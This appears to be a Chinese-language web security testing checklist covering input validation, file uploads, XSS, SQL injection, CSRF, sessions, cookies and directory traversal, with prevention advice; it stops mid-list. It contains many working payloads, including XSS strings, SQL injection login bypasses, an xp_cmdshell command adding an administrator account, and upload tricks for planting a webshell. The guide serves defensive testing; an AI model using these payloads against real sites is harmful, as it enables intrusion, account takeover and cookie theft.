web安全性測試用例
建立整體的威脅模型，測試溢位漏洞、資訊洩漏、錯誤處理、SQL 注入、身份驗證和授權錯誤.
- 1. 輸入驗證
客戶端驗證 伺服器端驗證(禁用指令碼除錯，禁用Cookies)
1.輸入很大的數（如4,294,967,269），輸入很小的數(負數)
2.輸入超長字元,如對輸入文字長度有限制,則嘗試超過限制,剛好到達限制字數時有何反應
3.輸入特殊字元,如:~!@#$%^&*()_+<>:”{}|
4.輸入中英文空格，輸入字串中間含空格，輸入首尾空格
5.輸入特殊字串NULL,null，0x0d 0x0a
6.輸入正常字串
7.輸入與要求不同型別的字元，如: 要求輸入數字則檢查正值,負值,零值（正零，負零）,小數,字母,空值; 要求輸入字母則檢查輸入數字
8.輸入html和javascript程式碼
9.對於像回答數這樣需檢驗數字正確性的測試點，不僅對比其與問題最終頁的回答數，還要對回答進行新增刪除等操作後檢視變化
例如：
1.輸入<html”>”gfhd</html>,看是否出錯；
2.輸入<input type=”text” name=”user”/>,看是否出現文字框；
3.輸入<script type=”text/javascript”>alert(“提示”)</script>看是否出現提示。
關於上傳：
1.上傳檔案是否有格式限制,是否可以上傳exe檔案；
2.上傳檔案是否有大小限制,上傳太大的檔案是否導致異常錯誤,上傳0K的檔案是否會導致異常錯誤,上傳並不存在的檔案是否會導致異常錯誤；
3.通過修改副檔名的方式是否可以繞過格式限制，是否可以通過壓包方式繞過格式限制；
4.是否有上傳空間的限制,是否可以超過空間所限制的大小,如將超過空間的大檔案拆分上傳是否會出現異常錯誤。
5.上傳檔案大小大於本地剩餘空間大小，是否會出現異常錯誤。
6.關於上傳是否成功的判斷。上傳過程中，中斷。程式是否判斷上傳是否成功。
7.對於檔名中帶有中文字元，特殊字元等的檔案上傳。
上傳漏洞拿shell：
8.直接上傳asp.asa.jsp.cer.php.aspx.htr.cdx….之類的馬，拿到shell.
9.就是在上傳時在字尾後面加空格或者加幾點，也許也會有驚奇的發現。例：*.asp ,*.asp..。
10.利用雙重副檔名上傳例如：*.jpg.asa格式(也可以配上第二點一起利用)。
11.gif檔案頭欺騙
12.同名重複上傳也很OK。：
下載：
- 避免輸入：\..\web.
- 修改命名字尾。
關於URL：
1.某些需登入後或特殊使用者才能進入的頁面,是否可以通過直接輸入網址的方式進入；
2.對於帶引數的網址,惡意修改其引數,(若為數字,則輸入字母,或很大的數字,或輸入特殊字元等)後開啟網址是否出錯,是否可以非法進入某些頁面；
3.搜尋頁面等url中含有關鍵字的,輸入html程式碼或JavaScript看是否在頁面中顯示或執行。
4.輸入善意字元。
UBB:
[url=http://www.****.com] 你的網站[/url]
1.試著用各種方式輸入UBB程式碼,比如程式碼不完整,程式碼巢狀等等.
2.在UBB程式碼中加入屬性,如樣式,事件等屬性,看是否起作用
3.輸入編輯器中不存在的UBB程式碼,看是否起作用
[url=javascript:alert('hello')]連結[/url]
[email=javascript:alert('hello')]EMail[/email]
[email=yangtao@rising.com.cn STYLE="background-image: url(javascript:alert('XSS'))"]yangtao@rising.com.cn[/email]
[img]http://www.13fun.cn/2007713015578593_03.jpg style="background-image:url(javascript:alert('alert(xss)'))"[/img]
[img]http://www.13fun.cn/photo/2007-7/2007713015578593_03.jpg "onmouseover=alert('hello');"[/img]
[b STYLE="background-image: url(javascript:alert('XSS'))"]一首詩酸澀澀服務網[/b]
[i STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/i]
[u]一二三四五六七北京市[/u]
[font=微軟雅黑" STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/font]
[size=4" STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/size]
[color=Red" STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/color]
[align=center" STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/align]
[float=left" STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/float]
[font=微軟雅黑 STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/font]
[size=4 STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/size]
[color=Red STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/color]
[align=center STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/align]
[list=1]
[*]一二三四五六七北京市[/list]
[indent]一二三四五六七北京市[/indent]
[float=left STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/float]
[media=ra,400,300,0]http://bbsforblog.ikaka.com/posttopic.aspx?forumid=109[/media]
- 2. 輸出編碼
常用的測試輸入語句有：
<input type="text"/>
<input/>
<input/
<script>alert('hello');</script>
1.jpg" onmouseover="alert('xss')
"></a><script>alert(‘xss’);</script>
http://xxx';alert('xss');var/ a='a
‘”>xss&<
a=”\” ; b=”;alert(/xss/);//”
<img src=“輸出內容” border=“0” alt=“logo” />
“’”
‘”’
“””
“ “ “
“”“
“‘ ”
title=””
對輸出資料到輸出資料的對比，看是否出現問題。
- 3. 防止SQL隱碼攻擊
Admin--
‘or --
‘ and ( ) exec insert * % chr mid
and 1=1 ; And 1=1 ; aNd 1=1 ; char(97)char(110)char(100) char(49)char(61)char(49) ; %20AND%201=2
‘and 1=1 ; ‘And 1=1 ; ‘aNd 1=1 ;
and 1=2 ; ‘and 1=2
and 2=2
and user>0
and (select count(*) from sysobjects)>0
and (select count(*) from msysobjects)>0
and (Select Count(*) from Admin)>=0
and (select top 1 len(username) from Admin)>0(username 已知欄位)
;exec master..xp_cmdshell “net user name password /add”—
;exec master..xp_cmdshell “net localgroup name administrators /add”—
and 0<>(select count(*) from admin)
簡單的如where xtype=’U’，字元U對應的ASCII碼是85，所以可以用where xtype=char(85)代替；如果字元是中文的，比如where name=’使用者’，可以用where name=nchar(29992)+nchar(25143)代替。
- 4. 跨站指令碼攻擊（XSS）
對於 XSS，只需檢查 HTML 輸出並看看您輸入的內容在什麼地方。它在一個 HREF 標記中嗎？是否在 IFRAME 標記中？它在 CLSID 標記中嗎？在 IMG SRC 中嗎？某些 Flash 內容的 PARAM NAME 是怎樣的？
★%3Cinput /%3E
★%3Cscript%3Ealert('XSS')%3C/script%3E
★<input type="text"/>
★<input/>
★<input/
★<script>alert('xss')</script>
★<script>alert('xss');</script>
★</script><script>alert(‘xss’)</script>
★javascript:alert(/xss/)
★javascript:alert(/xss/)
★<img src="#" onerror=alert(/xss/)>
★<img src="#" style="Xss:expression(alert(/xss/));">
★<img src="#"/**/onerror=alert(/xss/) width=100>
★=’><script>alert(document.cookie)</script>
★1.jpg" onmouseover="alert('xss')
★"></a><script>alert(‘xss’);</script>
★http://xxx';alert('xss');var/ a='a
★’”>xss&<
★"onmouseover=alert('hello');"
★&{alert('hello');}
★>"'><script>alert(‘XSS')</script>
★>%22%27><img%20src%3d%22javascript:alert(%27XSS%27)%22>
★>"'><img%20src%3D%26%23x6a;%26%23x61;%26%23x76;%26%23x61;%26%23x73;%26%23x63;%26%23x72;%26%23x69;%26%23x70;%26%23x74;%26%23x3a;alert(%26quot;XSS%26quot;)>
★AK%22%20style%3D%22background:url(javascript:alert(%27XSS%27))%22%20OS%22
★%22%2Balert(%27XSS%27)%2B%22
★<table background="javascript:alert(([code])"></table>
★<object type=text/html data="javascript:alert(([code]);"></object>
★<body onload="javascript:alert(([code])"></body>
★a?<script>alert(’Vulnerable’)</script>
★<!--'">&:
var from = ‘$!rundata.Parameters.getString(’from’)';
var from = ”;hackerFunction(document.cookie);”;
http://searchbox.mapbar.com/publish/template/template1010/?CID=qingke&tid=tid1010&cityName=天津<script>alert("hello")</script>&nid=MAPBXITBJRQMYWJRXPCBX
- 5. 跨站請求偽造（CSRF）
同個瀏覽器開啟兩個頁面，一個頁面許可權失效後，另一個頁面是否可操作成功。
當頁面沒有CHECKCODE時，檢視頁面原始碼，查是是否有token。如果頁面完全是展示頁面，是不會有token的。
一、 使用者註冊
只從使用者名稱和密碼角度寫了幾個要考慮的測試點，如果需求中明確規定了安全問題，Email，出生日期，地址，性別等等一系列的格式和字元要求，那就都要寫用例測了~
以等價類劃分和邊界值法來分析
1.填寫符合要求的資料註冊： 使用者名稱字和密碼都為最大長度（邊界值分析，取上點）
2.填寫符合要求的資料註冊 ：使用者名稱字和密碼都為最小長度（邊界值分析，取上點）
3.填寫符合要求的資料註冊：使用者名稱字和密碼都是非最大和最小長度的資料（邊界值分析，取內點）
4.必填項分別為空註冊
5.使用者名稱長度大於要求註冊1位（邊界值分析，取離點）
6.使用者名稱長度小於要求註冊1位（邊界值分析，取離點）
7.密碼長度大於要求註冊1位（邊界值分析，取離點）
8.密碼長度小於要求註冊1位（邊界值分析，取離點）
9.使用者名稱是不符合要求的字元註冊（這個可以劃分幾個無效的等價類，一般寫一兩個就行了，如含有空格，#等，看需求是否允許吧~）
10.密碼是不符合要求的字元註冊（這個可以劃分幾個無效的等價類，一般寫一兩個就行了）
11.兩次輸入密碼不一致（如果註冊時候要輸入兩次密碼，那麼這個是必須的）
12.重新註冊存在的使用者
13.改變存在的使用者的使用者名稱和密碼的大小寫，來註冊。（有的需求是區分大小寫，有的不區分）
14.看是否支援tap和enter鍵等；密碼是否可以複製貼上；密碼是否以* 之類的加祕符號顯示
備註：邊界值的上點、內點和離點大家應該都知道吧，呵呵，這裡我就不細說了~~
二、 修改密碼
當然具體情況具體分析哈~不能一概而論~
實際測試中可能只用到其中幾條而已，比如銀行卡密碼的修改，就不用考慮英文和非法字元，更不用考慮那些ＴＡＰ之類的快捷鍵。而有的需要根據需求具體分析了，比如連續出錯多少次出現的提示，和一些軟體修改密碼要求一定時間內有一定的修改次數限制等等。
1.不輸入舊密碼，直接改密碼
2.輸入錯誤舊密碼
3.不輸入確認新密碼
4.不輸入新密碼
5.新密碼和確認新密碼不一致
6.新密碼中有空格
7.新密碼為空
8.新密碼為符合要求的最多字元
9.新密碼為符合要求的最少字元
10.新密碼為符合要求的非最多和最少字元
11.新密碼為最多字元-1
12.新密碼為最少字元+1
13.新密碼為最多字元+1
14.新密碼為最少字元-1
15.新密碼為非允許字元（如有的密碼要求必須是英文和數字組成，那麼要試漢字和符號等）
16.看是否支援tap和enter鍵等；密碼是否可以複製貼上；密碼是否以* 之類的加祕符號
17.看密碼是否區分大小寫，新密碼中英文小寫，確認密碼中英文大寫
18.新密碼與舊密碼一樣能否修改成功
另外一些其他的想法如下：
1 要測試所有規約中約定可以輸入的特殊字元，字母，和數字，要求都可以正常輸入、顯示正常和新增成功
2 關注規約中的各種限制，比如長度，大否支援大小寫。
3 考慮各種特殊情況，比如新增同名使用者，系統是否正確校驗給出提示資訊，管理員帳戶是否可以刪除，因為有些系統管理員擁有最大許可權，一旦刪除管理員帳戶，就不能在前臺新增，這給終端使用者會帶來很多麻煩。比較特殊的是，當使用者名稱中包括了特殊字元，那麼對這類使用者名稱的新增同名，修改，刪除，系統是否能夠正確實現，我就遇到了一個系統，新增同名使用者時，如果以前的使用者名稱沒有特殊字元，系統可以給出提示資訊，如果以前的使用者名稱包含特殊字元，就不校驗在插入資料庫的時候報錯。後來查到原因了，原來是在java中拼SQL語句的時候，因為有"_"，所以就呼叫了一個方法在“_”，前面加了一個轉義字元，後來發現不該呼叫這個方法。所以去掉就好了。所以對待輸入框中的特殊字元要多關注。
4 數值上的長度 之類的，包括出錯資訊是否合理
5 特殊字元：比如。 / ' " \ </html> 這些是否會造成系統崩潰
6 注入式bug：比如密碼輸入個or 1=1
7 登入後是否會用明文傳遞引數
8 訪問控制（不知道這個算不算）：登入後儲存裡面的連結，關了瀏覽器直接複製連結看能不能訪問。
輸入框測試
1．驗證輸入與輸出的是否資訊一致；
2．輸入框之前的標題是否正確；
3．對特殊字元的處理，尤其是輸入資訊徐需要傳送到資料庫的。特殊字元包括：'（單引號）、"（雙引號）、[]（中括號）、()（小括號）、{}（大括號）、;（分號）、<>（大於小於號）……
4．對輸入框輸入超過限制的字元的處理，一般非特殊的沒有作出限制的在255byte左右；
5．輸入框本身的大小、長度；
6．不同內碼的字元的輸入；
7．對空格、TAB字元的處理機制；
8．字元本身顯示的顏色；
9．密碼輸入視窗轉換成星號或其它符號；
10．密碼輸入框對其中的資訊進行加密，防止採用破解星號的方法破解；
11．按下ctrl和alt鍵對輸入框的影響；
12．對於新增、修改、註冊時用的輸入框，有限制的，應該輸入時作出提示，指出不允許的或者標出允許的；
13．對於有約束條件要求的輸入框應當在條件滿足時輸入框的狀態發生相應的改變，比如選了湖南就應該列出湖南下面的市，或者選了某些條件之後，一些輸入框會關閉或轉為只讀狀態；
14．輸入型別；根據前面的欄位標題判斷該輸入框應該輸入哪些內容算是合理的。例如，是否允許輸入數字或字母，不允許輸入其他字元等。
15.輸入長度；資料庫欄位有長度定義，當輸入過長時，提交資料是否會出錯。
16.輸入狀態；當處於某種狀態下，輸入框是否處於可寫或非可寫狀態。例如，系統自動給予的編號等欄位作為唯一標識，當再次處於編輯狀態下，輸入框欄位應處於不可寫狀態，如果可寫對其編輯的話，可能會造成資料重複引起衝突等。
17．如果是會進行資料庫操作的輸入框，還可以考慮輸入SQL中的一些特殊符號如單引號等,有時會有意想不到的錯誤出現
18．輸入型別
輸入長度
是否允許複製貼上
為空的情況
空格的考慮
半形全形測試
對於密碼輸入框要考慮顯示的內容是* 輸入錯誤時的提示資訊及提示資訊是否準確
19．可以先了解你要測試的輸入框在軟體系統的某個功能中所扮演的角色，然後瞭解其具體的輸入條件，在將輸入條件按照有效等價類，無效等價類，邊界值等方法進行測試用例的設計。
20．關鍵字有大小寫混合的情況；
21．關鍵字中含有一個或多個空格的情況，包括前空格，中間空格（多個關鍵字），和後空格；
22．關鍵字中是否支援萬用字元的情況（視功能而定）；
23．關鍵字的長度分別為9、10、11個字元時的情況；
24．關鍵字是valid，但是沒有匹配搜尋結果的情況；
25．輸入html的標籤會出現哪些問題？輸入<html>會出現什麼問題呢？(這條是我自己發現的，在網上也沒找到類似的東東，呵呵，大家湊合著看吧)
安全測試方面：
給出一些特別的關鍵字，比如or 1=1, 這樣的關鍵字如果不被處理就直接用到資料庫查詢中去，後果可想而知。
使用者體驗相關
我登入失敗的時候沒有任何提示，這沒什麼，反正提示也只是說失敗…
進去後發現顏色變更很強烈刺得我一眨眼，不過多看幾次就習慣了。
點選某個連結的時候出現錯誤頁面，重新整理後就好了，難道是隨機錯誤？
儲存文字的時候沒有成功提示，不過能成功儲存就算了。
瀏覽記錄的時候竟然出現錯誤頁面，原來我沒有選記錄就瀏覽了，我自己操作不規範嘛。
刪除記錄的時候發現選錯了，想取消的時候卻提示刪除成功，都沒有確認提示，只能下次看仔細點了。
查詢時字母鍵被茶杯壓住了多輸了點字元，竟然出現錯誤頁面，下次把東西整理好。
無聊隨便點點幾個連結，竟然沒有反應，既然不用，那就不要做出來嘛。
看看自己上傳的圖片效果如何，這個怎麼不顯示？多試幾次發現名字不包含中文就好了，下次注意下。
改改字型字號顏色美化環境嘛，怎麼格式那裡不顯示正確的字型字號呢，將就用吧。
這裡的記錄條數怎麼這麼多啊？原來是沒有刪除按鈕，看來下次不能隨便加了。
這個結束時間怎麼在開始時間前啊？原來沒有進行控制，下面的人執行時……還是自己改過來吧。
上次我在這裡看見的圖片呢？重新整理後就出來了，怎麼和我玩捉迷藏呢？
多輸了點內容，儲存時候提示太多了，點確定後發現被清空了，我一個小時的工作啊！
這張圖片真不錯，但是按鈕呢，按鈕呢？按鈕被擠掉了我怎麼編輯啊。
聽說F5是重新整理點一下看看。怎麼好像變成了登入介面？
剛學了怎麼用TAB鍵，確實很方便。TAB一下。跑哪去了，怎麼一片空白啊？？？
玩遊戲的人點選速度那麼快，我也來試試。怎麼一雙擊就出錯了？
我找錯別字是很厲害的，這不就發現“同意”寫成了“統一”。
這裡提示只能輸入1－100，我偏要輸入9999……儲存看看，怎麼系統不能用了？
這裡一點選就出現IE錯誤，硬是不彈出我需要的視窗。
這個查詢按鈕怎麼灰掉了？這麼多記錄讓我一頁一頁翻過去找啊。
上傳第二個附件的時候怎麼把第一個擠掉了啊，會擠掉也要提示一下嘛。
一個頁面上開啟的記錄太多了，變體都用…省略了，要是滑鼠放上去浮動顯示完整標題就方便多了。
這幾條記錄有依存關係，刪了一條其他就沒了，提示都沒有，早知道我就用編輯了……
這條記錄怎麼好像是昨天的，我記得今天更新了啊？原來編輯後的記錄沒有傳到引用的地方。
最最奇怪的是昨天上傳時候正常的圖片今天就不能顯示了。我記得沒有隻能顯示一天的功能啊？？？
這裡怎麼沒有任何按鈕呢，看手冊才知道竟然要用右鍵進行操作，怎麼突然冒出個異類啊？？？
這裡怎麼能增加兩條相同的記錄呢？不控制一下天知道手下那些愣頭青會做出什麼來。
這裡的選單一層一層又一層，足足有五層，把我頭都繞暈了……我記得哪裡說過最好不要超過三層的。
這個介面看起來怎麼這麼彆扭啊，是字型太大了，是按鈕太小了，還是功能太多了，……
怎麼不是管理員登入進來也能管理啊，那我這個管理員的身份不是多此一舉嗎？
刪除的時候提示Error，幸虧我英語水平好，可是你換成中文不行嗎？
這條記錄不是刪除了嗎，怎麼還能引用啊，到時候出錯了怎麼辦，難道還要我記住刪了那些記錄？
經過精心編輯，我發了一條通知，怎麼用普通使用者檢視的時候是預設的字型字號啊？？？
這幾個頁面上的當前日期怎麼是固定不變的啊，這都是去年的日期了，不會是開發時候的吧。
一、工具掃描
目前web安全掃描器針對 XSS、SQL injection 、OPEN redirect 、PHP File Include漏洞的檢測技術已經比較成熟。
商業軟體web安全掃描器：有IBM Rational Appscan、WebInspect、Acunetix WVS
免費的掃描器：W3af 、Skipfish 等等
可以考慮購買商業掃描軟體，也可以使用免費的，各有各的好處。
首先可以對網站進行大規模的掃描操作，工具掃描確認沒有漏洞或者漏洞已經修復後，再進行以下手工檢測。
二、手工檢測
1. 目錄遍歷
目錄遍歷產生的原因是：程式中沒有過濾使用者輸入的“../”和“./”之類的目錄跳轉符, 導致惡意使用者可以通過提交目錄跳轉來遍歷伺服器上的任意檔案。
測試方法：在URL中輸入一定數量的“../”和“./”，驗證系統是否ESCAPE掉了這些目錄跳轉符。
2. 登陸
(1) 是否正確登陸
(2) 密碼複雜度
(3) ...
3. 使用者許可權
(1) 使用者許可權控制
1) 使用者許可權控制主要是對一些有許可權控制的功能進行驗證
2) 使用者A才能進行的操作，B是否能夠進行操作（可通過竄session，將在下面介紹） 3）只能有A條件的使用者才能檢視的頁面，是否B能夠檢視（可直接敲URL訪問）
(2) 頁面許可權控制
1） 必須有登陸許可權的頁面，是否能夠在不登陸情況下進行訪問
2）必須經過A——B——C的頁面，是否能夠直接由A——C?
(3) ...
4. Cookie安全
(1) 遮蔽或刪除所有Cookie
(2) 有選擇性地遮蔽Cookie
(3) 篡改Cookie
(4) Cookie加密測試
(5) Cookie安全內容檢查
1) Cookie過期日期設定的合理性：檢查是否把Cookie的過期日期設定得過長。
2) HttpOnly屬性的設定：把Cookie的HttpOnly屬性設定為True有助於緩解跨站點指令碼威脅，防止Cookie被竊取。?
3) Secure屬性的設定：把Cookie的Secure屬性設定為True，在傳輸Cookie時使用SSL連線，能保護資料在傳輸過程中不被篡改。 對於這些設定，可以利用Cookie?Editor來檢視是否正確地被設定。
(6) ...
5. Session安全
(1) Session是客戶端與伺服器端建立的會話，總是放在伺服器上的，伺服器會為每次會話建立一個sessionId，每個客戶會跟一個sessionID 對應。 並不是關閉瀏覽器就結束了本次會話，通常是使用者執行“退出”操作或者會話超時時才會結束。
(2) 測試關注點：
1) Session互竄
Session互竄即是使用者A的操作被使用者B執行了。 驗證Session互竄，其原理還是基於許可權控制，如某筆訂單隻能是A進行操作，或者只能是A才能看到的頁面，但是B的session竄進來卻能夠獲得A的訂單詳情等。
Session互竄方法： 多TAB瀏覽器，在兩個TAB頁中都保留的是使用者A的session記錄，然後在其中一個TAB頁執行退出操作，登陸使用者B, 此時兩個TAB頁都是B的session，然後在另一個A的頁面執行操作，檢視是否能成功。 預期結果：有許可權控制的操作，B不能執行A頁面的操作，應該報錯，沒有許可權控制的操作，B執行了A頁面 操作後，資料記錄是B的而不是A的。
2) Session超時
基於Session原理，需要驗證系統session是否有超時機制，還需要驗證session超時後功能是否還能繼續走下去。
測試方法： 1、開啟一個頁面，等著10分鐘session超時時間到了，然後對頁面進行操作，檢視效果。 2、多TAB瀏覽器，在兩個TAB頁中都保留的是使用者A的session記錄，然後在其中一個TAB頁執行退出操作，馬上在另外一個頁面進行要驗證的操作，檢視是能繼續到下一步還是到登入頁面。
3) ...
6. URL安全
(1) URL引數檢查
A: 對URL中引數資訊檢查是否正確 如：URL中的訂單號、金額允許顯示出來的話，需要驗證其是否正確
B: 對於一些重要的引數資訊，不應該在URL中顯示出來 如：使用者登陸時登入名、密碼是否被顯示出來了.
(2) URL引數值篡改
修改URL中的資料，看程式是否能識別： 如：對於以下URL，修改其中planId，看是程式是否可以識別： http://pay.daily.taobao.net/mysub/plan/subplan/confirmSubPlanInfo.htm?planId=878 又如：對於URL中包含金額引數的，修改金額看是否能夠提交成功（可能導致使用者把2元金額改成1元金額能提交），還有修改訂單號等重要資訊看是否會報錯
(3) URL中引數進行XSS注入
什麼是XSS？ XSS的全稱是Cross Site Script（跨站點指令碼） XSS的原理很簡單，即進行指令碼注入，URL執行時即把此指令碼進行了執行，一般都是JavaScript指令碼，如<script>alter(“abc”)<script> 在URL中進行XSS注入，也就是把URL中的引數改成JS指令碼。
(4) URL引數中進行SQL 注入
什麼是SQL隱碼攻擊？ SQL隱碼攻擊全稱是SQL Injection ，當應用程式使用輸入內容來構造動態sql語句以訪問資料庫時，會發生sql注入攻擊，如查詢、插入資料時。
測試方法： URL中寫入SQL隱碼攻擊語句，看是否被執行，如：’or 1=1;shutdown
一般情況下要進行SQL隱碼攻擊，需要對資料庫型別、表名、判斷邏輯、查詢語句等比較清楚才能夠寫出有效的SQL隱碼攻擊語句。
(5) ...
7. 表單提交安全
(1) 表單中注入XSS指令碼
測試方法：即在表單填寫框中直接注入JS指令碼 如在表單中輸入XSS指令碼，程式是不應該讓指令碼執行的。
(2) 表單中注入SQL 指令碼
(3) ...
8. 上傳檔案安全
分析：上傳檔案最好要有格式的限制；上傳檔案還要有大小的限制。
9. Email Header Injection(郵件標頭注入)
Email Header Injection：如果表單用於傳送email, 表單中可能包括“subject”輸入項（郵件標題）， 我們要驗證subject中應能escape掉“\n”標識。
<!--[if !supportLists]--><!--[endif]-->因為“\n”是新行，如果在subject中輸入“hello\ncc:spamvictim@example.com”，可能會形成以下
Subject: hello
cc: spamvictim@example.com
<!--[if !supportLists]--><!--[endif]-->如果允許使用者使用這樣的subject，那他可能會給利用這個缺陷通過我們的平臺給其它用 戶傳送垃圾郵件。
10. 不恰當的異常處理
分析：程式在丟擲異常的時候給出了比較詳細的內部錯誤資訊，暴露了不應該顯示的執行細節，網站存在潛在漏洞；
11. ...
WEB的安全性測試主要從以下方面考慮：
1.SQL Injection(SQL注入)
(1)如何進行SQL隱碼攻擊測試?
- 首先找到帶有引數傳遞的URL頁面,如 搜尋頁面,登入頁面,提交評論頁面等等.
注1:對 於未明顯標識在URL中傳遞引數的,可以通過檢視HTML原始碼中的"FORM"標籤來辨別是否還有引數傳遞.在<FORM> 和</FORM>的標籤中間的每一個引數傳遞都有可能被利用.
|
<form id="form_search" action="/search/" method="get"> <div> <input type="text" name="q" id="search_q" value="" /> <input name="search" type="image" src="/media/images/site/search_btn.gif" /> <a href="/search/" class="fl">Gamefinder</a> </div> </form> |
注 2:當你找不到有輸入行為的頁面時,可以嘗試找一些帶有某些引數的特殊的URL,如HTTP://DOMAIN/INDEX.ASP?ID=10
- 其 次,在URL引數或表單中加入某些特殊的SQL語句或SQL片斷,如在登入頁面的URL中輸入HTTP://DOMAIN /INDEX.ASP?USERNAME=HI' OR 1=1--
|
注1：根據實際情況,SQL隱碼攻擊請求可以使用以下語句: ' or 1=1- - " or 1=1- - or 1=1- - ' or 'a'='a " or "a"="a ') or ('a'='a 例子：在登入時進行身份驗證時，通常使用如下語句來進行驗證：sql=select * from user where username='username' and pwd='password' 如 輸入http://duck/index.asp?username=admin' or 1='1&pwd=11，SQL語句會變成以下：sql=select * from user where username='admin' or 1='1' and password='11' ' 與admin前面的'組成了一個查詢條件,即username='admin',接下來的語句將按下一個查詢條件來執行. 接 下來是OR查詢條件,OR是一個邏輯運 算符，在判斷多個條件的時候，只要一個成立，則等式就成立，後面的AND就不再時行判斷了，也就是 說我們繞過了密碼驗證，我們只用使用者名稱就可以登入. 如 輸入http://duck/index.asp?username=admin'--&pwd=11，SQL語 句會變成以下sql=select * from user where name='admin' --' and pasword='11', '與admin前面的'組成了一個查 詢條件,即username='admin',接下來的語句將按下一個查詢條件來執行 |
- 最後,驗證是否能入侵成功或是出錯的資訊是否包含關於資料庫伺服器 的相關資訊;如果 能說明存在SQL安 全漏洞.
- 試想,如果網站存在SQL隱碼攻擊的危險,對於有經驗的惡意使用者還可能猜出資料庫表和表結構,並對資料庫表進行增\刪\改的操 作,這樣造成的後果是非常嚴重的.
(2)如何預防SQL隱碼攻擊?
從應用程式的角度來講,我們要做以下三項工作:
- 轉義敏感字元及字串(SQL的敏感字元包括“exec”,”xp_”,”sp_”,”declare”,”Union”,”cmd”,”+”,”//”,”..”,”;”,”‘”,”--”,”%”,”0x”,”><=!-*/()|”,和”空格”).
- 遮蔽出錯資訊：阻止攻擊者知道攻擊的結果
- 在服務端正式處理之前提交資料的合法性(合法性檢查主要包括三 項:資料型別,資料長度,敏感字元的校驗)進行檢查等。最根本的解決手段,在確認客 戶端的輸入合法之前,服務端拒絕進行關鍵性的處理操作.
從測試人員的角度來講,在程式開發前(即需求階段),我們就應該有意識的將安全性檢查應用到需求測試中,例如對一個表單需求進行檢查時,我們一般檢驗以下幾項安全性問題:
- 需求中應說明表單中某一FIELD的型別,長度,以及取值範圍(主要作用就是禁止輸入敏感字元)
- 需求中應說明如果超出表單規定的型別,長度,以及取值範圍的,應用程式應給出不包含任何程式碼或資料庫資訊的錯誤提示.
當然在執行測試的過程中,我們也需求對上述兩項內容進行測試.
2.Cross-site scritping(XSS):(跨站點指令碼攻擊)
(1)如何進行XSS測試?
- <!--[if !supportLists]-->首先,找到帶有引數傳遞的URL,如 登入頁面,搜尋頁面,提交評論,發表留言 頁面等等。
- <!--[if !supportLists]-->其次,在頁面引數中輸入如下語句(如:Javascrīpt,VB scrīpt, HTML,ActiveX, Flash)來進行測試：
|
<scrīpt>alert(document.cookie)</scrīpt> |
注:其它的XSS測試語句
|
><scrīpt>alert(document.cookie)</scrīpt> |
- 最後,當使用者瀏覽 時便會彈出一個警告框，內容顯示的是瀏覽者當前的cookie串,這就說明該網站存在XSS漏洞。
- 試想如果我們注入的不是以上這個簡單的測試程式碼，而是一段經常精心設計的惡意指令碼，當使用者瀏覽此帖時，cookie資訊就可能成功的被 攻擊者獲取。此時瀏覽者的帳號就很容易被攻擊者掌控了。
(2)如何預防XSS漏洞?
從應用程式的角度來講,要進行以下幾項預防:
- 對Javascrīpt,VB scrīpt, HTML,ActiveX, Flash等 語句或指令碼進行轉義.
- 在 服務端正式處理之前提交資料的合法性(合法性檢查主要包括三項:資料型別,資料長度,敏感字元的校驗)進行檢查等。最根本的解決手段,在確認客戶端的輸入合法之前,服務端 拒絕進行關鍵性的處理操作.
從測試人員的角度來講,要從需求檢查和執行測試過程兩個階段來完成XSS檢查:
- 在需求檢查過程中對各輸入項或輸出項進行型別、長度以及取 值範圍進行驗證，著重驗證是否對HTML或指令碼程式碼進行了轉義。
- 執行測試過程中也應對上述項進行檢查。
3.CSRF:(跨站點偽造請求)
CSRF儘管聽起來像跨站指令碼（XSS），但它與XSS非常不同，並且攻擊方式幾乎相左。
XSS是利用站點內的信任使用者，而CSRF則通過偽裝來自受信任使用者的請求來利用受信任的網站。
XSS也好，CSRF也好，它的目的在於竊取使用者的資訊，如SESSION 和 COOKIES（關於SESSION和COOKIES的介紹請參見我的另一篇BLOG：http://www.51testing.com/?49689/action_viewspace_itemid_74885.html），
(1)如何進行CSRF測試？
關於這個主題本人也正在研究，目前主要通過安全性測試工具來進行檢查。
(2)如何預防CSRF漏洞？
- 請參見http://www.hanguofeng.cn/archives/security/preventing-csrf
- 請 參見http://getahead.org/blog/joe/2007/01/01/csrf_attacks_or_how_to_avoid_exposing_your_gmail_contacts.html
4.Email HeaderInjection(郵件標頭注入)
Email Header Injection：如果表單用於傳送email,表單中可能包括“subject”輸入項（郵件標題），我們要驗證subject中應能escape掉“\n”標識。
- <!--[if !supportLists]--><!--[endif]-->因為“\n”是新行，如果在subject中輸入“hello\ncc:spamvictim@example.com”，可能會形成以下
Subject: hello
cc: spamvictim@example.com
- <!--[if !supportLists]--><!--[endif]-->如果允許使用者使用這樣的subject，那他可能會給利用這個缺陷通過我們的平臺給其它用 戶傳送垃圾郵件。
5.Directory Traversal(目錄遍歷)
（1）如何進行目錄遍歷測試？
- 目錄遍歷產生的原因是：程式中沒有過濾使用者輸入的“../”和“./”之類的目錄跳轉符,導致惡意使用者可以通過提交目錄跳轉來遍歷伺服器上的任意檔案。
- 測試方法：在URL中輸入一定數量的“../”和“./”，驗證系統是否ESCAPE掉了這些目錄跳轉符。
（2）如何預防目錄遍歷？
- 限制Web應用在伺服器上的執行
- 進 行嚴格的輸入驗證，控制使用者輸入非法路徑
6.exposed errormessages(錯誤資訊)
（1）如何進行測試？
- 首 先找到一些錯誤頁面，比如404,或500頁面。
- 驗證在除錯未開通過的情況下，是否給出了友好的錯誤提示資訊比如“你訪問的頁面不存 在”等，而並非曝露一些程式程式碼。
（2）如何預防？
- 測試人員在進行需求檢查時，應該對出錯資訊 進行詳細查，比如是否給出了出錯資訊，是否給出了正確的出錯資訊。
讓Web站點崩潰最常見的七大原因
磁碟已滿
